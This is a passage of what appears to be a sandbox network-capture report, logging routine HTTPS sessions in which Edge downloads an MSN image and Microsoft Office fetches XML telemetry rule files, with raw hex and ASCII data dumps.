fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-22 22:06:44 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-22 22:06:44 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49889	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:44 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=258766 Expires: Mon, 25 Nov 2024 21:59:30 GMT Date: Fri, 22 Nov 2024 22:06:44 GMT Connection: close
2024-11-22 22:06:44 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-22 22:06:44 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-22 22:06:44 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-22 22:06:44 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-22 22:06:44 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220644Z-174c587ffdf7t49mhC1TEB4qbg00000001zg000000009ayr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220644Z-174c587ffdfn4nhwhC1TEB2nbc00000002500000000074ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
